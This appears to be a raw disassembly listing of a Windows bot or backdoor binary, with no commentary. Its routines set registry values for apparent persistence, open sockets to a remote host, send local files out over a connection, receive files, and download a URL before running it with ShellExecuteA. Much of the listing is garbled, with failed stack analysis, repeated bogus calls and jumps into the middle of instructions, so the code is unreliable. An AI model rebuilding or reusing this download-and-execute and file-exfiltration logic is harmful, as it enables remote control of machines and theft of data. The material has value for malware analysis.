[ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_412D32 add esp, 14h loc_40B373: ; CODE XREF: sub_40B263+EEj lea eax, [ebp+var_31C] push eax call sub_40B151 push [ebp+var_18] call sub_415295 pop ecx pop ecx push esi call near ptr 3D0000h neg byte ptr [edi+5Eh] sub_40B263 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B392 proc near ; CODE XREF: sub_409DF9+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42BA20 xor esi, esi mov ebx, offset aTopicSoft ; "Topic Soft" loc_40B3A5: ; CODE XREF: sub_40B392+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call ds:dword_43A32C ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_40B3DF push [ebp+arg_0] call sub_415CD0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call ds:dword_43A39C ; RegSetValueExA jmp short loc_40B3E9 ; --------------------------------------------------------------------------- loc_40B3DF: ; CODE XREF: sub_40B392+2Fj push ebx push [ebp+var_4] call ds:dword_43A2E4 ; RegDeleteValueA loc_40B3E9: ; CODE XREF: sub_40B392+4Bj push [ebp+var_4] call ds:dword_43A354 ; RegCloseKey add edi, 8 cmp edi, offset dword_42BA38 jl short loc_40B3A5 pop edi pop esi pop ebx leave retn sub_40B392 endp ; =============== S U B R O U T I N E ======================================= sub_40B402 proc near ; CODE XREF: sub_40B43D+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40B437 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40B41B: ; CODE XREF: sub_40B402+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_42125C[eax*4] xor esi, eax inc edx dec edi jnz short loc_40B41B pop edi pop ebx loc_40B437: ; CODE XREF: sub_40B402+Ej mov eax, esi pop esi not eax retn sub_40B402 endp ; =============== S U B R O U T I N E ======================================= sub_40B43D proc near ; CODE XREF: seg000:0040BF1Dp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_415DA9 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_415BC8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40B48C loc_40B462: ; CODE XREF: sub_40B43D+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40B490 inc ebx push ebx push esi call sub_4174BF mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40B48C push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_416B90 add esp, 10h jmp short loc_40B462 ; --------------------------------------------------------------------------- loc_40B48C: ; CODE XREF: sub_40B43D+23j ; sub_40B43D+39j xor eax, eax jmp short loc_40B4AB ; --------------------------------------------------------------------------- loc_40B490: ; CODE XREF: sub_40B43D+29j dec ebx push ebx push esi call sub_40B402 push esi mov ebx, eax call sub_415E1D push edi call sub_415B20 add esp, 10h mov eax, ebx loc_40B4AB: ; CODE XREF: sub_40B43D+51j pop edi pop esi pop ebx retn sub_40B43D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4AF proc near ; CODE XREF: seg000:0040B568p ; seg000:0040BB54p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call ds:dword_43A3F8 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40B52B push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415550 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call ds:dword_43A378 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_43A3B8 ; inet_addr cmp eax, esi jnz short loc_40B510 push [ebp+arg_0] call ds:dword_43A3FC ; gethostbyname test eax, eax jz short loc_40B52B mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40B510: ; CODE XREF: sub_40B4AF+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call ds:dword_43A320 ; connect cmp eax, esi jnz short loc_40B52F push edi call ds:dword_43A410 ; closesocket loc_40B52B: ; CODE XREF: sub_40B4AF+1Bj ; sub_40B4AF+58j mov eax, esi jmp short loc_40B531 ; --------------------------------------------------------------------------- loc_40B52F: ; CODE XREF: sub_40B4AF+73j mov eax, edi loc_40B531: ; CODE XREF: sub_40B4AF+7Ej pop edi pop esi leave retn sub_40B4AF endp ; --------------------------------------------------------------------------- loc_40B535: ; DATA XREF: seg000:0040D8B2o push ebp mov ebp, esp mov eax, 11B4h call sub_415D50 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1B4h] rep movsd push 1 pop esi push dword ptr [ebp-14h] mov [eax+1B0h], esi lea eax, [ebp-1ACh] push eax call sub_40B4AF mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40B5C8 lea eax, [ebp-11B4h] push offset dword_42BAC4 push eax call sub_4154CD xor edi, edi pop ecx cmp [ebp-8], edi pop ecx jnz short loc_40B5AB push edi lea eax, [ebp-11B4h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-94h] push eax push ebx call sub_412D32 add esp, 14h loc_40B5AB: ; CODE XREF: seg000:0040B58Ej lea eax, [ebp-11B4h] push eax call sub_40B151 push dword ptr [ebp-10h] call sub_415295 pop ecx pop ecx push esi call near ptr 3D0000h inc esi loc_40B5C8: ; CODE XREF: seg000:0040B574j push offset byte_438F9C push ebx call sub_40A7E1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40B633 lea eax, [ebp-11B4h] push offset dword_42BA80 push eax call sub_4154CD xor edi, edi pop ecx cmp [ebp-8], edi pop ecx jnz short loc_40B60F push edi lea eax, [ebp-11B4h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-94h] push eax push ebx call sub_412D32 add esp, 14h loc_40B60F: ; CODE XREF: seg000:0040B5F2j lea eax, [ebp-11B4h] push eax call sub_40B151 pop ecx push ebx call ds:dword_43A410 ; closesocket push dword ptr [ebp-10h] call sub_415295 pop ecx push esi call near ptr 3D0000h push edi loc_40B633: ; CODE XREF: seg000:0040B5D8j push 64h call ds:dword_421060 ; Sleep xor edi, edi mov esi, 1000h loc_40B642: ; CODE XREF: seg000:0040B69Dj push esi lea eax, [ebp-11B4h] push edi push eax call sub_415550 add esp, 0Ch lea eax, [ebp-11B4h] push edi push esi push eax push ebx call ds:dword_43A390 ; recv test eax, eax jle short loc_40B69F lea eax, [ebp-11B4h] push offset asc_426C7C ; "\n" push eax call sub_415BF0 lea eax, [ebp-11B4h] push eax call sub_40A5CD add esp, 0Ch test eax, eax jz short loc_40B69F push 64h call ds:dword_421060 ; Sleep push 7 call sub_4151C1 test eax, eax pop ecx jnz short loc_40B642 loc_40B69F: ; CODE XREF: seg000:0040B665j ; seg000:0040B689j lea eax, [ebp-11B4h] push offset dword_42BA38 push eax call sub_4154CD cmp [ebp-8], edi pop ecx pop ecx jnz short loc_40B6D2 push edi lea eax, [ebp-11B4h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-94h] push eax push ebx call sub_412D32 add esp, 14h loc_40B6D2: ; CODE XREF: seg000:0040B6B5j lea eax, [ebp-11B4h] push eax call sub_40B151 pop ecx push ebx call ds:dword_43A410 ; closesocket push dword ptr [ebp-10h] call sub_415295 pop ecx push edi call near ptr 3D0000h mov edx, [ebp-75h] in al, dx sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call ds:dword_43A3F8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_40B744 push offset dword_42BC64 jmp loc_40B8FD ; --------------------------------------------------------------------------- loc_40B744: ; CODE XREF: seg000:0040B738j push 10h lea eax, [ebp-30h] push esi push eax call sub_415550 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call ds:dword_43A378 ; ntohs mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call ds:dword_43A3A4 ; bind test eax, eax jz short loc_40B782 push offset dword_42BC2C jmp loc_40B8FD ; --------------------------------------------------------------------------- loc_40B782: ; CODE XREF: seg000:0040B776j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call ds:dword_43A31C ; getsockname push dword ptr [ebp-2Eh] call ds:dword_43A2B4 ; ntohs mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_415CD0 pop ecx loc_40B7B4: ; CODE XREF: seg000:0040B7E5j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_40B7C7 push 5Fh pop eax jmp short loc_40B7CA ; --------------------------------------------------------------------------- loc_40B7C7: ; CODE XREF: seg000:0040B7C0j movsx eax, al loc_40B7CA: ; CODE XREF: seg000:0040B7C5j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_415CD0 cmp [ebp+8], eax pop ecx jbe short loc_40B7B4 push ebx push edi call ds:dword_43A3A0 ; listen test eax, eax jz short loc_40B7FD push offset dword_42BAC4 jmp loc_40B8FD ; --------------------------------------------------------------------------- loc_40B7FD: ; CODE XREF: seg000:0040B7F1j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call ds:dword_421078 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_40B827 push offset dword_42BBF8 jmp loc_40B8FD ; --------------------------------------------------------------------------- loc_40B827: ; CODE XREF: seg000:0040B81Bj push esi push eax call near ptr 3D0000h mov eax, ds:50084589h movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40A155 pop ecx push eax call ds:dword_43A3B8 ; inet_addr push eax call ds:dword_43A374 ; ntohl push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_42BBE0 push eax call sub_4154CD push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_412D32 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call ds:dword_43A360 ; select test eax, eax jg short loc_40B8D7 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_42BBB4 push eax push dword ptr [ebp-1FCh] call sub_412D32 jmp loc_40B9FB ; --------------------------------------------------------------------------- loc_40B8D7: ; CODE XREF: seg000:0040B8B5j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call ds:dword_43A40C ; accept cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_40B910 push offset dword_42BB7C loc_40B8FD: ; CODE XREF: seg000:0040B73Fj ; seg000:0040B77Dj ... lea eax, [ebp-3FCh] push eax call sub_4154CD pop ecx pop ecx jmp loc_40B9FE ; --------------------------------------------------------------------------- loc_40B910: ; CODE XREF: seg000:0040B8F6j push edi call ds:dword_43A410 ; closesocket cmp [ebp+8], esi jz loc_40B9C2 mov edi, 400h loc_40B925: ; CODE XREF: seg000:0040B9B9j mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_40B932 mov [ebp-4], eax loc_40B932: ; CODE XREF: seg000:0040B92Dj push edi lea eax, [ebp-0A04h] push esi push eax call sub_415550 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call ds:dword_4210AC ; SetFilePointer lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] call ds:dword_421068 ; ReadFile push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call ds:dword_43A3C8 ; send mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call ds:dword_43A390 ; recv cmp eax, ebx jl near ptr loc_40BA56+1 mov eax, [ebp-4] cmp eax, ebx jl near ptr loc_40BA56+1 sub [ebp+8], eax jnz loc_40B925 mov edi, [ebp-18h] loc_40B9C2: ; CODE XREF: seg000:0040B91Aj push dword ptr [ebp-8] call ds:dword_42106C ; CloseHandle push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_40C1FC pop ecx pop ecx push eax lea eax, [ebp-1E0h] push eax push dword ptr [ebp-44h] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp-3FCh] push offset dword_42BB28 push eax call sub_4154CD loc_40B9FB: ; CODE XREF: seg000:0040B8D2j add esp, 14h loc_40B9FE: ; CODE XREF: seg000:0040B90Bj cmp [ebp-50h], esi jnz short loc_40BA23 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_412D32 add esp, 14h loc_40BA23: ; CODE XREF: seg000:0040BA01j lea eax, [ebp-3FCh] push eax call sub_40B151 cmp edi, esi pop ecx jbe short loc_40BA3B push edi call ds:dword_43A410 ; closesocket loc_40BA3B: ; CODE XREF: seg000:0040BA32j push dword ptr [ebp-1F8h] call ds:dword_43A410 ; closesocket push dword ptr [ebp-58h] call sub_415295 pop ecx push esi call near ptr 3D0000h loc_40BA56: ; CODE XREF: seg000:0040B9A5j ; seg000:0040B9B0j sub [esi-42h], dl cld mov edx, 75FF0042h lodsb lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_412D32 push esi call sub_40B151 add esp, 18h push dword ptr [ebp-1F8h] call ds:dword_43A410 ; closesocket push dword ptr [ebp-58h] call sub_415295 pop ecx push ebx call near ptr 3D0000h aam 55h mov ebp, esp mov eax, 14C4h call sub_415D50 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 3D0000h xchg eax, ebp lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset aSS_2 ; "%s%s" push eax call sub_4154CD add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_421078 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_40BB22 push offset dword_42BD6C jmp short loc_40BB68 ; --------------------------------------------------------------------------- loc_40BB22: ; CODE XREF: seg000:0040BB19j push eax call ds:dword_42106C ; CloseHandle lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_415BC8 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_40BB4A push offset dword_42BD28 jmp short loc_40BB68 ; --------------------------------------------------------------------------- loc_40BB4A: ; CODE XREF: seg000:0040BB41j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_40B4AF pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_40BB7B push offset dword_42BCF4 loc_40BB68: ; CODE XREF: seg000:0040BB20j ; seg000:0040BB48j lea eax, [ebp-4C4h] push eax call sub_4154CD pop ecx pop ecx jmp loc_40BC75 ; --------------------------------------------------------------------------- loc_40BB7B: ; CODE XREF: seg000:0040BB61j mov esi, 1000h loc_40BB80: ; CODE XREF: seg000:0040BBE6j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_415550 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call ds:dword_43A390 ; recv mov edi, eax cmp edi, ebx jz near ptr loc_40BC46+1 cmp edi, 0FFFFFFFFh jz short loc_40BBE8 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_4175DF add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call ds:dword_43A374 ; ntohl mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call ds:dword_43A3C8 ; send jmp short loc_40BB80 ; --------------------------------------------------------------------------- loc_40BBE8: ; CODE XREF: seg000:0040BBB0j lea eax, [ebp-4C4h] push offset dword_42BAFC push eax call sub_4154CD push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_412D32 lea eax, [ebp-4C4h] push eax call sub_40B151 push dword ptr [ebp-4] call sub_415B20 add esp, 24h push dword ptr [ebp+8] call ds:dword_43A410 ; closesocket push dword ptr [ebp-1Ch] call sub_415295 pop ecx push 1 call near ptr 3D0000h loc_40BC46: ; CODE XREF: seg000:0040BBA7j add eax, 99F8458Bh push edx push eax call sub_40C1FC push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-4C4h] push offset dword_42BC9C push eax call sub_4154CD add esp, 1Ch loc_40BC75: ; CODE XREF: seg000:0040BB76j cmp [ebp-14h], ebx jnz short loc_40BC9A push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_412D32 add esp, 14h loc_40BC9A: ; CODE XREF: seg000:0040BC78j lea eax, [ebp-4C4h] push eax call sub_40B151 cmp [ebp-4], ebx pop ecx jz short loc_40BCB5 push dword ptr [ebp-4] call sub_415B20 pop ecx loc_40BCB5: ; CODE XREF: seg000:0040BCAAj cmp [ebp+8], ebx jbe short loc_40BCC3 push dword ptr [ebp+8] call ds:dword_43A410 ; closesocket loc_40BCC3: ; CODE XREF: seg000:0040BCB8j push dword ptr [ebp-1Ch] call sub_415295 pop ecx push ebx call near ptr 3D0000h mov [ebp-75h], dl in al, dx sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push ds:dword_43A328 call ds:dword_43A288 ; InternetOpenUrlA cmp eax, esi mov [ebp-18h], eax jz loc_40C15F push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call ds:dword_421078 ; CreateFileA cmp eax, edi mov [ebp-20h], eax jnb short loc_40BD9A lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_42C028 push eax call sub_4154CD add esp, 0Ch cmp [ebp-30h], esi jnz short loc_40BD7D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_412D32 add esp, 14h loc_40BD7D: ; CODE XREF: seg000:0040BD5Bj lea eax, [ebp-510h] push eax call sub_40B151 push dword ptr [ebp-48h] call sub_415295 pop ecx pop ecx push esi call near ptr 3D0000h setalc loc_40BD9A: ; CODE XREF: seg000:0040BD3Bj xor edi, edi call ds:dword_42104C ; GetTickCount mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_415DA9 pop ecx mov [ebp-1Ch], eax loc_40BDB4: ; CODE XREF: seg000:0040BE87j push 200h lea eax, [ebp-510h] push esi push eax call sub_415550 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call ds:dword_43A290 ; InternetReadFile cmp [ebp-34h], esi jz short loc_40BDF8 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call near ptr loc_40C1C4+1 pop ecx pop ecx loc_40BDF8: ; CODE XREF: seg000:0040BDE5j lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 3D0000h dec ecx cmp edi, ebx jnb short loc_40BE36 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_40BE20 mov eax, [ebp+8] loc_40BE20: ; CODE XREF: seg000:0040BE1Bj push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_4155B0 add esp, 0Ch loc_40BE36: ; CODE XREF: seg000:0040BE12j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_40BE43 cmp edi, [ebp-3Ch] ja short loc_40BE8D loc_40BE43: ; CODE XREF: seg000:0040BE3Cj cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_40BE5D shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_42BFDC jmp short loc_40BE6D ; --------------------------------------------------------------------------- loc_40BE5D: ; CODE XREF: seg000:0040BE49j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_42BF98 loc_40BE6D: ; CODE XREF: seg000:0040BE5Bj mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43F308 push eax call sub_4154CD add esp, 10h cmp [ebp+8], esi ja loc_40BDB4 loc_40BE8D: ; CODE XREF: seg000:0040BE41j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_40BEE2 cmp edi, [ebp-3Ch] jz short loc_40BEE2 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_42BF50 push eax call sub_4154CD push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_412D32 lea eax, [ebp-510h] push eax call sub_40B151 add esp, 28h loc_40BEE2: ; CODE XREF: seg000:0040BE97j ; seg000:0040BE9Cj call ds:dword_42104C ; GetTickCount sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_42106C ; CloseHandle push dword ptr [ebp-1Ch] call sub_415E1D cmp [ebp-38h], esi pop ecx jz short loc_40BF6C lea eax, [ebp-148h] push eax call sub_40B43D cmp eax, [ebp-38h] pop ecx jz short loc_40BF6C push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_42BF14 push eax call sub_4154CD push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_412D32 lea eax, [ebp-510h] push eax call sub_40B151 add esp, 28h loc_40BF6C: ; CODE XREF: seg000:0040BF14j ; seg000:0040BF26j cmp [ebp-14h], esi jz loc_40C1AC cmp dword ptr [ebp-44h], 1 jz loc_40C067 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul ds:dbl_421660 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul ds:dbl_421660 fstp qword ptr [esp] push offset unk_42BEC8 push eax call sub_4154CD add esp, 1Ch cmp [ebp-30h], esi jnz short loc_40BFE7 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_412D32 add esp, 14h loc_40BFE7: ; CODE XREF: seg000:0040BFC5j lea eax, [ebp-510h] push eax call sub_40B151 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_40C1AC push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call ds:dword_43A2EC ; ShellExecuteA cmp [ebp-30h], esi jnz loc_40C1AC lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_42BE90 push eax call sub_4154CD push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_412D32 lea eax, [ebp-510h] push eax call sub_40B151 add esp, 24h jmp loc_40C1AC ; --------------------------------------------------------------------------- loc_40C067: ; CODE XREF: seg000:0040BF79j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul ds:dbl_421660 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul ds:dbl_421660 fstp qword ptr [esp] push offset unk_42BE3C push eax call sub_4154CD add esp, 1Ch cmp [ebp-30h], esi jnz short loc_40C0CF push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_412D32 add esp, 14h loc_40C0CF: ; CODE XREF: seg000:0040C0ADj lea eax, [ebp-510h] push eax call sub_40B151 push 10h lea eax, [ebp-10h] push esi push eax call sub_415550 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_415550 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_438F9C push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 3D0000h ffreep st(7) ; (emulator call) jnz short loc_40C151 call ds:dword_43A2D8 ; WSACleanup call sub_409DF9 push esi call ds:dword_421114 ; ExitProcess loc_40C151: ; CODE XREF: seg000:0040C13Dj lea eax, [ebp-148h] push eax push offset unk_42BDF0 jmp short loc_40C16B ; --------------------------------------------------------------------------- loc_40C15F: ; CODE XREF: seg000:0040BD18j lea eax, [ebp-248h] push eax push offset unk_42BDB0 loc_40C16B: ; CODE XREF: seg000:0040C15Dj lea eax, [ebp-510h] push eax call sub_4154CD add esp, 0Ch cmp [ebp-30h], esi jnz short loc_40C19F push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_412D32 add esp, 14h loc_40C19F: ; CODE XREF: seg000:0040C17Dj lea eax, [ebp-510h] push eax call sub_40B151 pop ecx loc_40C1AC: ; CODE XREF: seg000:0040BF6Fj ; seg000:0040BFF8j ... push dword ptr [ebp-18h] call ds:dword_43A3AC ; InternetCloseHandle push dword ptr [ebp-48h] call sub_415295 pop ecx push esi call near ptr 3D0000h loc_40C1C4: ; CODE XREF: seg000:0040BDF1p dec byte ptr [ebx+33042444h] leave cmp [esp+8], ecx jle short locret_40C1E1 loc_40C1D1: ; CODE XREF: seg000:0040C1DFj mov dl, ds:byte_42C164 xor [ecx+eax], dl inc ecx cmp ecx, [esp+8] jl short loc_40C1D1 locret_40C1E1: ; CODE XREF: seg000:0040C1CFj retn ; =============== S U B R O U T I N E ======================================= sub_40C1E2 proc near ; CODE XREF: seg000:0040F775p ; seg000:0040F8CCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4176E9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40C1E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1FC proc near ; CODE XREF: seg000:004067F1p ; seg000:0040698Dp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_43E748 push 0 push edi call sub_415550 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40C221: ; CODE XREF: sub_40C1FC+5Bj ; sub_40C1FC+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_417240 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_4172C0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40C25F inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40C221 mov byte ptr [esi], 2Ch inc esi jmp short loc_40C221 ; --------------------------------------------------------------------------- loc_40C25F: ; CODE XREF: sub_40C1FC+4Bj dec esi mov eax, edi loc_40C262: ; CODE XREF: sub_40C1FC+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40C271 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40C262 ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C1FC+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40C1FC endp ; =============== S U B R O U T I N E ======================================= sub_40C27B proc near ; CODE XREF: sub_40C427+51p ; sub_40C427+87p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_43A3D8 ; GetDriveTypeA sub eax, 0 jz short loc_40C2BE dec eax jz short loc_40C2B8 dec eax dec eax jz short loc_40C2B2 dec eax jz short loc_40C2AC dec eax jz short loc_40C2A6 dec eax jz short loc_40C2A0 mov eax, offset word_42B78C retn ; --------------------------------------------------------------------------- loc_40C2A0: ; CODE XREF: sub_40C27B+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- 